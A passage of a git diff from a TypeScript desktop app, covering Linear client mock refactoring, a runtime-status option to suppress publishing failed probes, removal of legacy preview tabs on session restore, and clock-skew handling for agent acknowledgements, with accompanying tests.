-                  repo?.executionHostId,
-                  repo !== undefined
-                ),
-                getLegacyGitHubPRCacheKey(repoPath, repoId, branch),
-                getLegacyGitHubPRCacheKey(repoPath, undefined, branch)
-              ]
               const currentPRCache = state.prCache ?? {}
-              const prCache =
-                review &&
-                review.provider !== 'github' &&
-                prCacheKeys.some((key) => currentPRCache[key])
-                  ? (() => {
-                      const next = { ...currentPRCache }
-                      for (const key of prCacheKeys) {
-                        delete next[key]
-                      }
-                      return next
-                    })()
-                  : currentPRCache
+              const prCache = clearHostedReviewConflictingPrCache({
+                cache: currentPRCache,
+                review,
+                repoPath,
+                repoId,
+                branch,
+                settings: ownerSettings,
+                repo
+              })
               return {
                 ...(prCache === currentPRCache ? {} : { prCache }),
                 hostedReviewCache: withHostedReviewCacheEntry(state.hostedReviewCache, cacheKey, {
diff --git a/src/renderer/src/store/slices/linear-credential-error-recovery.test.ts b/src/renderer/src/store/slices/linear-credential-error-recovery.test.ts
index 64dac946c00..1644e42361a 100644
--- a/src/renderer/src/store/slices/linear-credential-error-recovery.test.ts
+++ b/src/renderer/src/store/slices/linear-credential-error-recovery.test.ts
@@ -25,16 +25,7 @@ vi.mock('@/runtime/runtime-linear-client', async (importOriginal) => {
     linearConnect: (...args: unknown[]) => linearConnect(...args),
     linearDisconnect: (...args: unknown[]) => linearDisconnect(...args),
     linearDisconnectWorkspace: vi.fn(),
-    linearGetCustomView: (...args: unknown[]) => linearGetCustomView(...args),
-    linearGetProject: (...args: unknown[]) => linearGetProject(...args),
-    linearGetIssue: (...args: unknown[]) => linearGetIssue(...args),
-    linearListCustomViewIssues: (...args: unknown[]) => linearListCustomViewIssues(...args),
-    linearListCustomViewProjects: (...args: unknown[]) => linearListCustomViewProjects(...args),
-    linearListCustomViews: (...args: unknown[]) => linearListCustomViews(...args),
     linearListIssues: (...args: unknown[]) => linearListIssues(...args),
-    linearListProjectIssues: (...args: unknown[]) => linearListProjectIssues(...args),
-    linearListProjects: (...args: unknown[]) => linearListProjects(...args),
-    linearListTeams: (...args: unknown[]) => linearListTeams(...args),
     linearSearchIssues: (...args: unknown[]) => linearSearchIssues(...args),
     linearSelectWorkspace: vi.fn(),
     linearStatus: (...args: unknown[]) => linearStatus(...args),
@@ -42,6 +33,29 @@ vi.mock('@/runtime/runtime-linear-client', async (importOriginal) => {
   }
 })
 
+vi.mock('@/runtime/runtime-linear-issue-mutations', async (importOriginal) => {
+  const actual = await importOriginal<Record<string, unknown>>()
+  return {
+    ...actual,
+    linearGetIssue: (...args: unknown[]) => linearGetIssue(...args)
+  }
+})
+
+vi.mock('@/runtime/runtime-linear-project-client', async (importOriginal) => {
+  const actual = await importOriginal<Record<string, unknown>>()
+  return {
+    ...actual,
+    linearGetCustomView: (...args: unknown[]) => linearGetCustomView(...args),
+    linearGetProject: (...args: unknown[]) => linearGetProject(...args),
+    linearListCustomViewIssues: (...args: unknown[]) => linearListCustomViewIssues(...args),
+    linearListCustomViewProjects: (...args: unknown[]) => linearListCustomViewProjects(...args),
+    linearListCustomViews: (...args: unknown[]) => linearListCustomViews(...args),
+    linearListProjectIssues: (...args: unknown[]) => linearListProjectIssues(...args),
+    linearListProjects: (...args: unknown[]) => linearListProjects(...args),
+    linearListTeams: (...args: unknown[]) => linearListTeams(...args)
+  }
+})
+
 vi.mock('../../hooks/useIssueMetadata', () => ({
   clearLinearMetadataCache: vi.fn()
 }))
diff --git a/src/renderer/src/store/slices/linear-invalidation.test.ts b/src/renderer/src/store/slices/linear-invalidation.test.ts
index 03c917187fa..febf6bc222f 100644
--- a/src/renderer/src/store/slices/linear-invalidation.test.ts
+++ b/src/renderer/src/store/slices/linear-invalidation.test.ts
@@ -16,16 +16,29 @@ vi.mock('@/runtime/runtime-linear-client', () => ({
   linearConnect: (...args: unknown[]) => linearConnect(...args),
   linearDisconnect: vi.fn(),
   linearDisconnectWorkspace: vi.fn(),
-  linearGetIssue: (...args: unknown[]) => linearGetIssue(...args),
   isLinearIssueAttributeFilterUnsupportedError: () => false,
   linearListIssues: (...args: unknown[]) => linearListIssues(...args),
-  linearListTeams: (...args: unknown[]) => linearListTeams(...args),
   linearSearchIssues: (...args: unknown[]) => linearSearchIssues(...args),
   linearSelectWorkspace: vi.fn(),
   linearStatus: (...args: unknown[]) => linearStatus(...args),
   linearTestConnection: vi.fn()
 }))
 
+vi.mock('@/runtime/runtime-linear-issue-mutations', () => ({
+  linearGetIssue: (...args: unknown[]) => linearGetIssue(...args)
+}))
+
+vi.mock('@/runtime/runtime-linear-project-client', () => ({
+  linearGetCustomView: vi.fn(),
+  linearGetProject: vi.fn(),
+  linearListCustomViewIssues: vi.fn(),
+  linearListCustomViewProjects: vi.fn(),
+  linearListCustomViews: vi.fn(),
+  linearListProjectIssues: vi.fn(),
+  linearListProjects: vi.fn(),
+  linearListTeams: (...args: unknown[]) => linearListTeams(...args)
+}))
+
 vi.mock('../../hooks/useIssueMetadata', () => ({
   clearLinearMetadataCache: vi.fn()
 }))
diff --git a/src/renderer/src/store/slices/linear-scoped-collection-cache.test.ts b/src/renderer/src/store/slices/linear-scoped-collection-cache.test.ts
index 0f457817bd9..46bb849b2de 100644
--- a/src/renderer/src/store/slices/linear-scoped-collection-cache.test.ts
+++ b/src/renderer/src/store/slices/linear-scoped-collection-cache.test.ts
@@ -26,16 +26,7 @@ vi.mock('@/runtime/runtime-linear-client', async (importOriginal) => {
     linearConnect: (...args: unknown[]) => linearConnect(...args),
     linearDisconnect: (...args: unknown[]) => linearDisconnect(...args),
     linearDisconnectWorkspace: vi.fn(),
-    linearGetCustomView: (...args: unknown[]) => linearGetCustomView(...args),
-    linearGetProject: (...args: unknown[]) => linearGetProject(...args),
-    linearGetIssue: (...args: unknown[]) => linearGetIssue(...args),
-    linearListCustomViewIssues: (...args: unknown[]) => linearListCustomViewIssues(...args),
-    linearListCustomViewProjects: (...args: unknown[]) => linearListCustomViewProjects(...args),
-    linearListCustomViews: (...args: unknown[]) => linearListCustomViews(...args),
     linearListIssues: (...args: unknown[]) => linearListIssues(...args),
-    linearListProjectIssues: (...args: unknown[]) => linearListProjectIssues(...args),
-    linearListProjects: (...args: unknown[]) => linearListProjects(...args),
-    linearListTeams: (...args: unknown[]) => linearListTeams(...args),
     linearSearchIssues: (...args: unknown[]) => linearSearchIssues(...args),
     linearSelectWorkspace: vi.fn(),
     linearStatus: (...args: unknown[]) => linearStatus(...args),
@@ -43,6 +34,29 @@ vi.mock('@/runtime/runtime-linear-client', async (importOriginal) => {
   }
 })
 
+vi.mock('@/runtime/runtime-linear-issue-mutations', async (importOriginal) => {
+  const actual = await importOriginal<Record<string, unknown>>()
+  return {
+    ...actual,
+    linearGetIssue: (...args: unknown[]) => linearGetIssue(...args)
+  }
+})
+
+vi.mock('@/runtime/runtime-linear-project-client', async (importOriginal) => {
+  const actual = await importOriginal<Record<string, unknown>>()
+  return {
+    ...actual,
+    linearGetCustomView: (...args: unknown[]) => linearGetCustomView(...args),
+    linearGetProject: (...args: unknown[]) => linearGetProject(...args),
+    linearListCustomViewIssues: (...args: unknown[]) => linearListCustomViewIssues(...args),
+    linearListCustomViewProjects: (...args: unknown[]) => linearListCustomViewProjects(...args),
+    linearListCustomViews: (...args: unknown[]) => linearListCustomViews(...args),
+    linearListProjectIssues: (...args: unknown[]) => linearListProjectIssues(...args),
+    linearListProjects: (...args: unknown[]) => linearListProjects(...args),
+    linearListTeams: (...args: unknown[]) => linearListTeams(...args)
+  }
+})
+
 vi.mock('../../hooks/useIssueMetadata', () => ({
   clearLinearMetadataCache: vi.fn()
 }))
diff --git a/src/renderer/src/store/slices/linear-source-context-cache-scope.test.ts b/src/renderer/src/store/slices/linear-source-context-cache-scope.test.ts
index e4f0f7c3de3..08ed1248b19 100644
--- a/src/renderer/src/store/slices/linear-source-context-cache-scope.test.ts
+++ b/src/renderer/src/store/slices/linear-source-context-cache-scope.test.ts
@@ -30,16 +30,7 @@ vi.mock('@/runtime/runtime-linear-client', async (importOriginal) => {
     linearConnect: (...args: unknown[]) => linearConnect(...args),
     linearDisconnect: (...args: unknown[]) => linearDisconnect(...args),
     linearDisconnectWorkspace: vi.fn(),
-    linearGetCustomView: (...args: unknown[]) => linearGetCustomView(...args),
-    linearGetProject: (...args: unknown[]) => linearGetProject(...args),
-    linearGetIssue: (...args: unknown[]) => linearGetIssue(...args),
-    linearListCustomViewIssues: (...args: unknown[]) => linearListCustomViewIssues(...args),
-    linearListCustomViewProjects: (...args: unknown[]) => linearListCustomViewProjects(...args),
-    linearListCustomViews: (...args: unknown[]) => linearListCustomViews(...args),
     linearListIssues: (...args: unknown[]) => linearListIssues(...args),
-    linearListProjectIssues: (...args: unknown[]) => linearListProjectIssues(...args),
-    linearListProjects: (...args: unknown[]) => linearListProjects(...args),
-    linearListTeams: (...args: unknown[]) => linearListTeams(...args),
     linearSearchIssues: (...args: unknown[]) => linearSearchIssues(...args),
     linearSelectWorkspace: vi.fn(),
     linearStatus: (...args: unknown[]) => linearStatus(...args),
@@ -47,6 +38,29 @@ vi.mock('@/runtime/runtime-linear-client', async (importOriginal) => {
   }
 })
 
+vi.mock('@/runtime/runtime-linear-issue-mutations', async (importOriginal) => {
+  const actual = await importOriginal<Record<string, unknown>>()
+  return {
+    ...actual,
+    linearGetIssue: (...args: unknown[]) => linearGetIssue(...args)
+  }
+})
+
+vi.mock('@/runtime/runtime-linear-project-client', async (importOriginal) => {
+  const actual = await importOriginal<Record<string, unknown>>()
+  return {
+    ...actual,
+    linearGetCustomView: (...args: unknown[]) => linearGetCustomView(...args),
+    linearGetProject: (...args: unknown[]) => linearGetProject(...args),
+    linearListCustomViewIssues: (...args: unknown[]) => linearListCustomViewIssues(...args),
+    linearListCustomViewProjects: (...args: unknown[]) => linearListCustomViewProjects(...args),
+    linearListCustomViews: (...args: unknown[]) => linearListCustomViews(...args),
+    linearListProjectIssues: (...args: unknown[]) => linearListProjectIssues(...args),
+    linearListProjects: (...args: unknown[]) => linearListProjects(...args),
+    linearListTeams: (...args: unknown[]) => linearListTeams(...args)
+  }
+})
+
 vi.mock('../../hooks/useIssueMetadata', () => ({
   clearLinearMetadataCache: vi.fn()
 }))
diff --git a/src/renderer/src/store/slices/linear.ts b/src/renderer/src/store/slices/linear.ts
index 588c6845f3a..0f86363b6ef 100644
--- a/src/renderer/src/store/slices/linear.ts
+++ b/src/renderer/src/store/slices/linear.ts
@@ -28,21 +28,23 @@ import {
   linearConnect,
   linearDisconnect,
   linearDisconnectWorkspace,
-  linearGetCustomView,
-  linearGetProject,
-  linearGetIssue,
-  linearListCustomViewIssues,
-  linearListCustomViewProjects,
-  linearListCustomViews,
   linearListIssues,
-  linearListProjectIssues,
-  linearListProjects,
-  linearListTeams,
   linearSearchIssues,
   linearSelectWorkspace,
   linearStatus,
   linearTestConnection
 } from '@/runtime/runtime-linear-client'
+import { linearGetIssue } from '@/runtime/runtime-linear-issue-mutations'
+import {
+  linearGetCustomView,
+  linearGetProject,
+  linearListCustomViewIssues,
+  linearListCustomViewProjects,
+  linearListCustomViews,
+  linearListProjectIssues,
+  linearListProjects,
+  linearListTeams
+} from '@/runtime/runtime-linear-project-client'
 import { getProviderRuntimeContextKey } from '@/lib/provider-runtime-context'
 import { translate } from '@/i18n/i18n'
 import {
diff --git a/src/renderer/src/store/slices/runtime-status-restored-browser-host-attach.test.ts b/src/renderer/src/store/slices/runtime-status-restored-browser-host-attach.test.ts
index d21d7b204f5..0ba4d645026 100644
--- a/src/renderer/src/store/slices/runtime-status-restored-browser-host-attach.test.ts
+++ b/src/renderer/src/store/slices/runtime-status-restored-browser-host-attach.test.ts
@@ -2,6 +2,7 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import { create } from 'zustand'
 import { createCompatibleRuntimeStatusResponse } from '../../runtime/runtime-compatibility-test-fixture'
 import { resetRestoredBrowserClientHostAttachForTests } from '@/runtime/restored-client-hosted-browser-host-attach'
+import { replayClientHostedBrowserCloseIntents } from '@/runtime/client-hosted-browser-close-intent-replay'
 import {
   clearRuntimeEnvironmentConnectionGenerationsForTests,
   createRuntimeStatusSlice,
@@ -12,6 +13,10 @@ vi.mock('sonner', () => ({
   toast: { warning: vi.fn(), dismiss: vi.fn() }
 }))
 
+vi.mock('@/runtime/client-hosted-browser-close-intent-replay', () => ({
+  replayClientHostedBrowserCloseIntents: vi.fn(async () => {})
+}))
+
 const prepareBrowserClientHostPlacement = vi.fn(async (_args: { selector: string }) => ({
   kind: 'server' as const
 }))
@@ -48,6 +53,7 @@ describe('restored client-hosted browser host attach on reachability', () => {
     clearRuntimeEnvironmentConnectionGenerationsForTests()
     resetRestoredBrowserClientHostAttachForTests()
     prepareBrowserClientHostPlacement.mockClear()
+    vi.mocked(replayClientHostedBrowserCloseIntents).mockClear()
   })
 
   afterEach(() => {
@@ -67,14 +73,41 @@ describe('restored client-hosted browser host attach on reachability', () => {
     })
   })
 
-  it('starts no browser client host when the environment is unreachable', async () => {
-    stubApi(vi.fn().mockRejectedValue(new Error('unreachable')))
+  // The reconnect policy suppresses the *failure* publish only. A probe that answered still owes
+  // both recovery follow-ups, or a restored client-hosted page never comes back after the gap.
+  it('runs both recovery follow-ups on a success when the caller opted out of publishing failures', async () => {
+    stubApi(vi.fn().mockResolvedValue(createCompatibleRuntimeStatusResponse('runtime-a')))
 
-    await storeWithRestoredHandles(true).getState().refreshRuntimeEnvironmentStatus('env-a')
+    await storeWithRestoredHandles(true)
+      .getState()
+      .refreshRuntimeEnvironmentStatus('env-a', undefined, { publishUnreachable: false })
 
-    expect(prepareBrowserClientHostPlacement).not.toHaveBeenCalled()
+    expect(prepareBrowserClientHostPlacement).toHaveBeenCalledWith({
+      selector: 'env-a',
+      preference: 'auto'
+    })
+    expect(replayClientHostedBrowserCloseIntents).toHaveBeenCalledWith('env-a', expect.anything())
   })
 
+  // Under either policy a failed probe owes *no* follow-ups: it verified nothing, so there is no
+  // recovered host to reattach restored pages to and no one to replay closes at.
+  it.each([
+    { name: 'the default policy', options: undefined },
+    { name: 'a caller that opted out of publishing', options: { publishUnreachable: false } }
+  ])(
+    'starts no browser client host when the environment is unreachable: $name',
+    async (scenario) => {
+      stubApi(vi.fn().mockRejectedValue(new Error('unreachable')))
+
+      await storeWithRestoredHandles(true)
+        .getState()
+        .refreshRuntimeEnvironmentStatus('env-a', undefined, scenario.options)
+
+      expect(prepareBrowserClientHostPlacement).not.toHaveBeenCalled()
+      expect(replayClientHostedBrowserCloseIntents).not.toHaveBeenCalled()
+    }
+  )
+
   it('starts no browser client host for restored pages the server hosts', async () => {
     stubApi(vi.fn().mockResolvedValue(createCompatibleRuntimeStatusResponse('runtime-a')))
 
diff --git a/src/renderer/src/store/slices/runtime-status.test.ts b/src/renderer/src/store/slices/runtime-status.test.ts
index d2bc9f86af9..2c6c7fba5cc 100644
--- a/src/renderer/src/store/slices/runtime-status.test.ts
+++ b/src/renderer/src/store/slices/runtime-status.test.ts
@@ -704,16 +704,33 @@ describe('runtime-status slice', () => {
     clearRuntimeCompatibilityCacheForTests()
   })
 
-  it('records null and returns false when a runtime refresh fails', async () => {
+  // Both directions of the failure-publication policy, from one failing probe. A user-initiated
+  // check publishes the outage it just observed; a caller holding live transport evidence must
+  // not, because status.get dials its own socket and its failure is unverifiable, not exited.
+  it.each([
+    { name: 'a user-initiated check', options: undefined, publishes: true },
+    { name: 'publishUnreachable defaulted', options: {}, publishes: true },
+    {
+      name: 'a caller that opted out of publishing',
+      options: { publishUnreachable: false },
+      publishes: false
+    }
+  ])('records null and returns false when a runtime refresh fails: $name', async (scenario) => {
     const getStatus = vi.fn().mockRejectedValue(new Error('closed'))
     stubRuntimeEnvironmentApi({ getStatus })
     const store = createSliceStore()
-    store.getState().setRuntimeEnvironmentStatus('env-a', { status: makeStatus(), checkedAt: 1 })
+    const cached = makeStatus()
+    store.getState().setRuntimeEnvironmentStatus('env-a', { status: cached, checkedAt: 1 })
 
-    const reachable = await store.getState().refreshRuntimeEnvironmentStatus('env-a')
+    const reachable = await store
+      .getState()
+      .refreshRuntimeEnvironmentStatus('env-a', undefined, scenario.options)
 
+    // The dial-answered contract the bridge's bounded retry chain reads is policy-independent.
     expect(reachable).toBe(false)
-    expect(store.getState().runtimeStatusByEnvironmentId.get('env-a')?.status).toBeNull()
+    expect(store.getState().runtimeStatusByEnvironmentId.get('env-a')?.status).toBe(
+      scenario.publishes ? null : cached
+    )
   })
 
   it('hydrates saved environments through the single-environment refresh path', async () => {
diff --git a/src/renderer/src/store/slices/runtime-status.ts b/src/renderer/src/store/slices/runtime-status.ts
index a3f860f1ea1..1fd74f6f8a9 100644
--- a/src/renderer/src/store/slices/runtime-status.ts
+++ b/src/renderer/src/store/slices/runtime-status.ts
@@ -34,6 +34,16 @@ export type RuntimeEnvironmentStatus = {
   connectionGeneration?: number
 }
 
+export type RuntimeStatusRefreshOptions = {
+  /** Whether a failed probe is published as `null`. True (default) for a user-initiated check:
+   * the user asked and we could not reach the host. False for a caller that just watched the
+   * control transport prove the host alive — `status.get` dials its own short-lived socket with
+   * a fresh handshake, so it can fail while that transport stays healthy, and per
+   * `docs/reference/ssh-execution-boundary.md` such a failure is `unverifiable`, never `exited`.
+   * Publishing it over a live cached verdict manufactures a stuck-offline sidebar. */
+  publishUnreachable?: boolean
+}
+
 export type RuntimeStatusSlice = {
   /** Saved remote Orca servers. Host pickers use this to show user-chosen names
    * instead of opaque runtime ids. */
@@ -68,8 +78,14 @@ export type RuntimeStatusSlice = {
   clearRuntimeEnvironmentStatus: (environmentId: string) => void
   /** Drops every entry whose id is not in the saved-environments set. */
   retainRuntimeEnvironmentStatuses: (environmentIds: Iterable<string>) => void
-  /** Probes one saved runtime and records the latest reachable/unreachable state. */
-  refreshRuntimeEnvironmentStatus: (environmentId: string, timeoutMs?: number) => Promise<boolean>
+  /** Probes one saved runtime and records the latest reachable/unreachable state.
+   * `publishUnreachable: false` records nothing when the probe fails, for callers that
+   * already hold live evidence the host is up (see the option's doc below). */
+  refreshRuntimeEnvironmentStatus: (
+    environmentId: string,
+    timeoutMs?: number,
+    options?: RuntimeStatusRefreshOptions
+  ) => Promise<boolean>
   /** Best-effort: list saved environments and probe each so the sidebar shows
    * live health at boot, before the settings pane is ever opened. */
   hydrateRuntimeEnvironmentStatuses: () => Promise<void>
@@ -312,8 +328,12 @@ export const createRuntimeStatusSlice: StateCreator<AppState, [], [], RuntimeSta
     })
   },
 
-  refreshRuntimeEnvironmentStatus: (environmentId, timeoutMs = 10_000) =>
+  refreshRuntimeEnvironmentStatus: (environmentId, timeoutMs = 10_000, options) =>
     refreshRuntimeEnvironmentStatus(environmentId, timeoutMs, (status) => {
+      if (status === null && options?.publishUnreachable === false) {
+        // Unverifiable, not exited: leave the cached verdict for the caller's retry to settle.
+        return
+      }
       // Why: setRuntimeEnvironmentStatus drops any stale compat failure on a non-null
       // (reachable) status, so a recovered host's reuse-flagged refetches re-probe.
       get().setRuntimeEnvironmentStatus(environmentId, { status, checkedAt: Date.now() })
diff --git a/src/renderer/src/store/slices/tabs-hydration.test.ts b/src/renderer/src/store/slices/tabs-hydration.test.ts
index da7fcc35ee4..d5b15293f14 100644
--- a/src/renderer/src/store/slices/tabs-hydration.test.ts
+++ b/src/renderer/src/store/slices/tabs-hydration.test.ts
@@ -57,6 +57,69 @@ describe('buildHydratedTabState – unified format', () => {
     expect(result.activeGroupIdByWorktree.w1).toBe('g1')
   })
 
+  // Why this shape exists at all: a preview used to be an editor tab whose id encoded the document,
+  // and its document was never persisted — so sessions written before previews became browser tabs
+  // carry chrome for a surface no restore can produce. The reader's other tabs must be untouched.
+  it('drops the chrome of a preview tab from before previews were browser tabs', () => {
+    const session: WorkspaceSessionState = {
+      ...makeBaseSession(),
+      openFilesByWorktree: {
+        w1: [
+          {
+            filePath: '/repo/docs/report.html',
+            relativePath: 'docs/report.html',
+            worktreeId: 'w1',
+            language: 'html'
+          }
+        ]
+      },
+      unifiedTabs: {
+        w1: [
+          {
+            id: 'preview-1',
+            entityId: 'html-preview::w1::/repo/docs/report.html',
+            groupId: 'g1',
+            worktreeId: 'w1',
+            contentType: 'editor',
+            label: 'docs/report.html (preview)',
+            customLabel: null,
+            color: null,
+            sortOrder: 0,
+            createdAt: 1
+          },
+          {
+            id: 'editor-1',
+            entityId: '/repo/docs/report.html',
+            groupId: 'g1',
+            worktreeId: 'w1',
+            contentType: 'editor',
+            label: 'report.html',
+            customLabel: null,
+            color: null,
+            sortOrder: 1,
+            createdAt: 2
+          }
+        ]
+      },
+      tabGroups: {
+        w1: [
+          {
+            id: 'g1',
+            worktreeId: 'w1',
+            activeTabId: 'preview-1',
+            tabOrder: ['preview-1', 'editor-1']
+          }
+        ]
+      }
+    }
+
+    const result = buildHydratedTabState(session, new Set(['w1']))
+
+    // The presence half: the ordinary editor tab for the very same document survives, so a filter
+    // that dropped editor chrome wholesale would fail here rather than pass on an empty strip.
+    expect(result.unifiedTabsByWorktree.w1?.map((tab) => tab.id)).toEqual(['editor-1'])
+  })
+
   it('collapses groups and layout when transient tabs are dropped during hydration', () => {
     const session: WorkspaceSessionState = {
       ...makeBaseSession(),
diff --git a/src/renderer/src/store/slices/tabs-hydration.ts b/src/renderer/src/store/slices/tabs-hydration.ts
index c115c431539..c5372133cd6 100644
--- a/src/renderer/src/store/slices/tabs-hydration.ts
+++ b/src/renderer/src/store/slices/tabs-hydration.ts
@@ -118,6 +118,15 @@ function hydrateUnifiedFormat(
           // containing "::"; those are invalid pane-key tab ids.
           return isValidTerminalTabId(tab.id) && isValidTerminalTabId(tab.entityId)
         }
+        // Why dropped rather than converted: a preview used to be an editor tab whose id encoded
+        // the document, and its document was never persisted — so this chrome has always come back
+        // naming a file no restore produces, which is the empty pane the surface was reported for.
+        // A preview is a browser tab now, and the worktree id inside that encoded id can itself
+        // contain the separator, so re-deriving the document from it is guesswork. The reader
+        // reopens the preview; nothing is left pointing at a surface that cannot exist.
+        if (tab.contentType === 'editor' && tab.entityId.startsWith('html-preview::')) {
+          return false
+        }
         if (!isTransientEditorContentType(tab.contentType)) {
           return true
         }
diff --git a/src/renderer/src/store/slices/terminals.ts b/src/renderer/src/store/slices/terminals.ts
index 4286dd0ac53..1e1a4b3e699 100644
--- a/src/renderer/src/store/slices/terminals.ts
+++ b/src/renderer/src/store/slices/terminals.ts
@@ -49,6 +49,7 @@ export const createTerminalSlice: StateCreator<AppState, [], [], TerminalSlice>
   workspaceSessionReady: false,
   restoredRuntimeHostIdByWorkspaceSessionKey: {},
   defaultTerminalTabsAppliedByWorktreeId: {},
+  closedTerminalTabTombstonesByTabId: {},
   hydrationSucceeded: false,
   pendingReconnectWorktreeIds: [],
   pendingReconnectTabByWorktree: {},
diff --git a/src/renderer/src/store/slices/ui-acknowledge-agents-clock-skew.test.ts b/src/renderer/src/store/slices/ui-acknowledge-agents-clock-skew.test.ts
new file mode 100644
index 00000000000..669ebceb53e
--- /dev/null
+++ b/src/renderer/src/store/slices/ui-acknowledge-agents-clock-skew.test.ts
@@ -0,0 +1,144 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import { createUIStore } from './ui-slice-test-harness'
+import type { AppState } from '../types'
+import type { AgentStatusEntry } from '../../../../shared/agent-status-types'
+import type { TerminalTab } from '../../../../shared/terminal-tab-types'
+import { makePaneKey } from '../../../../shared/stable-pane-id'
+
+// Why: an SSH/remote execution host stamps turns with ITS clock. When that clock runs ahead, every
+// unread rule (`ackAt < turnTimestamp`) stayed true after an ack, so the row could never be marked
+// read and its auto-ack effect re-fired on each new millisecond — the React #185 update loop.
+
+const NOW = new Date('2026-06-02T12:00:00Z').getTime()
+const SKEW_MS = 90_000
+const LEAF_ID = '11111111-1111-4111-8111-111111111111'
+const PANE_KEY = makePaneKey('tab-1', LEAF_ID)
+
+function makeAgentEntry(overrides: Partial<AgentStatusEntry> = {}): AgentStatusEntry {
+  return {
+    state: 'done',
+    prompt: 'Review complete',
+    updatedAt: NOW,
+    stateStartedAt: NOW,
+    agentType: 'codex',
+    paneKey: PANE_KEY,
+    stateHistory: [],
+    ...overrides
+  }
+}
+
+function makeTerminalTab(id: string, worktreeId: string): TerminalTab {
+  return {
+    id,
+    worktreeId,
+    ptyId: null,
+    title: 'Terminal',
+    customTitle: null,
+    color: null,
+    sortOrder: 0,
+    createdAt: NOW
+  }
+}
+
+describe('acknowledgeAgents with a clock-skewed execution host', () => {
+  beforeEach(() => {
+    vi.useFakeTimers()
+    vi.setSystemTime(NOW)
+  })
+
+  afterEach(() => {
+    vi.useRealTimers()
+  })
+
+  it('clears unread for a live turn stamped ahead of the local clock in one acknowledge', () => {
+    const store = createUIStore()
+    const futureStartedAt = NOW + SKEW_MS
+    store.setState({
+      tabsByWorktree: { 'wt-1': [makeTerminalTab('tab-1', 'wt-1')] },
+      agentStatusByPaneKey: {
+        [PANE_KEY]: makeAgentEntry({ stateStartedAt: futureStartedAt, updatedAt: futureStartedAt })
+      }
+    } as Partial<AppState>)
+
+    store.getState().acknowledgeAgents([PANE_KEY])
+
+    const ackAt = store.getState().acknowledgedAgentsByPaneKey[PANE_KEY]
+    expect(ackAt).toBe(futureStartedAt)
+    expect(ackAt < futureStartedAt).toBe(false)
+  })
+
+  it('stops rewriting the ack map once a future-stamped turn is acknowledged', () => {
+    const store = createUIStore()
+    const futureStartedAt = NOW + SKEW_MS
+    store.setState({
+      agentStatusByPaneKey: {
+        [PANE_KEY]: makeAgentEntry({ stateStartedAt: futureStartedAt, updatedAt: futureStartedAt })
+      }
+    } as Partial<AppState>)
+
+    store.getState().acknowledgeAgents([PANE_KEY])
+    const firstMap = store.getState().acknowledgedAgentsByPaneKey
+
+    // Later millisecond, same turn: the retry that used to allocate a new map (and re-render forever).
+    vi.setSystemTime(NOW + 1_000)
+    store.getState().acknowledgeAgents([PANE_KEY])
+
+    expect(store.getState().acknowledgedAgentsByPaneKey).toBe(firstMap)
+  })
+
+  it('covers a retained row and a future history event on the same pane', () => {
+    const store = createUIStore()
+    const futureHistoryAt = NOW + SKEW_MS
+    store.setState({
+      retainedAgentsByPaneKey: {
+        [PANE_KEY]: {
+          entry: makeAgentEntry({
+            stateStartedAt: NOW + 1_000,
+            stateHistory: [{ state: 'blocked', prompt: 'p', startedAt: futureHistoryAt }]
+          }),
+          worktreeId: 'wt-1',
+          tab: makeTerminalTab('tab-1', 'wt-1'),
+          agentType: 'codex',
+          startedAt: NOW + 1_000
+        }
+      }
+    } as Partial<AppState>)
+
+    store.getState().acknowledgeAgents([PANE_KEY])
+
+    expect(store.getState().acknowledgedAgentsByPaneKey[PANE_KEY]).toBe(futureHistoryAt)
+  })
+
+  it('covers a future-stamped migration-unsupported row, which Activity renders as a blocked event', () => {
+    const store = createUIStore()
+    const futureUpdatedAt = NOW + SKEW_MS
+    store.setState({
+      migrationUnsupportedByPtyId: {
+        'pty-1': {
+          ptyId: 'pty-1',
+          paneKey: PANE_KEY,
+          reason: 'legacy-numeric-pane-key',
+          source: 'ssh',
+          updatedAt: futureUpdatedAt
+        }
+      }
+    } as Partial<AppState>)
+
+    store.getState().acknowledgeAgents([PANE_KEY])
+
+    expect(store.getState().acknowledgedAgentsByPaneKey[PANE_KEY]).toBe(futureUpdatedAt)
+  })
+
+  it('still stamps the local clock when the turn is not ahead of it', () => {
+    const store = createUIStore()
+    store.setState({
+      agentStatusByPaneKey: {
+        [PANE_KEY]: makeAgentEntry({ stateStartedAt: NOW - 5_000, updatedAt: NOW - 5_000 })
+      }
+    } as Partial<AppState>)
+
+    store.getState().acknowledgeAgents([PANE_KEY])
+
+    expect(store.getState().acknowledgedAgentsByPaneKey[PANE_KEY]).toBe(NOW)
+  })
+})
diff --git a/src/renderer/src/store/slices/ui.ts b/src/renderer/src/store/slices/ui.ts
index 466e3db9724..9c4c550194f 100644
--- a/src/renderer/src/store/slices/ui.ts
+++ b/src/renderer/src/store/slices/ui.ts
@@ -372,6 +372,23 @@ function collectAcknowledgedAgentNotificationId({
   }
 }
 
+function usableTimestamp(value: unknown): number {
+  return typeof value === 'number' && Number.isFinite(value) && value > 0 ? value : 0
+}
+
+/** Newest turn timestamp an unread check can compare against for one agent row. */
+function latestAgentTurnTimestamp(entry: {
+  stateStartedAt?: number
+  stateHistory?: { startedAt?: number }[]
+}): number {
+  let latest = usableTimestamp(entry.stateStartedAt)
+  // Why history too: Activity renders one event per stateHistory entry, each with its own unread check.
+  for (const history of entry.stateHistory ?? []) {
+    latest = Math.max(latest, usableTimestamp(history.startedAt))
+  }
+  return latest
+}
+
 function isPlainPersistedRecord(value: unknown): value is Record<string, unknown> {
   return Boolean(value) && typeof value === 'object' && !Array.isArray(value)
 }
@@ -1215,10 +1232,15 @@ export const createUISlice: StateCreator<AppState, [], [], UISlice> = (set, get)
         return s
       }
       const now = Date.now()
-      // Why: only reallocate if an ack advances; compare prev<now not !== — Date.now() ticks every ms and !== would rewrite the map every call.
+      const migrationUnsupported = Object.values(s.migrationUnsupportedByPtyId ?? {})
+      // Why: only reallocate if an ack advances; compare prev<stamp not !== — the stamp ticks every ms and !== would rewrite the map every call.
       let next: Record<string, number> | null = null
       for (const key of paneKeys) {
         const prev = s.acknowledgedAgentsByPaneKey[key] ?? 0
+        // Why not plain Date.now(): a remote/SSH execution host can stamp a turn ahead of this clock,
+        // and every unread rule is `ackAt < turnTimestamp`. A behind-the-turn ack can never clear the
+        // row, so its auto-ack effect re-fires on each new millisecond forever (React #185).
+        let stamp = now
         const liveEntry = s.agentStatusByPaneKey?.[key]
         if (liveEntry) {
           collectAcknowledgedAgentNotificationId({
@@ -1228,6 +1250,7 @@ export const createUISlice: StateCreator<AppState, [], [], UISlice> = (set, get)
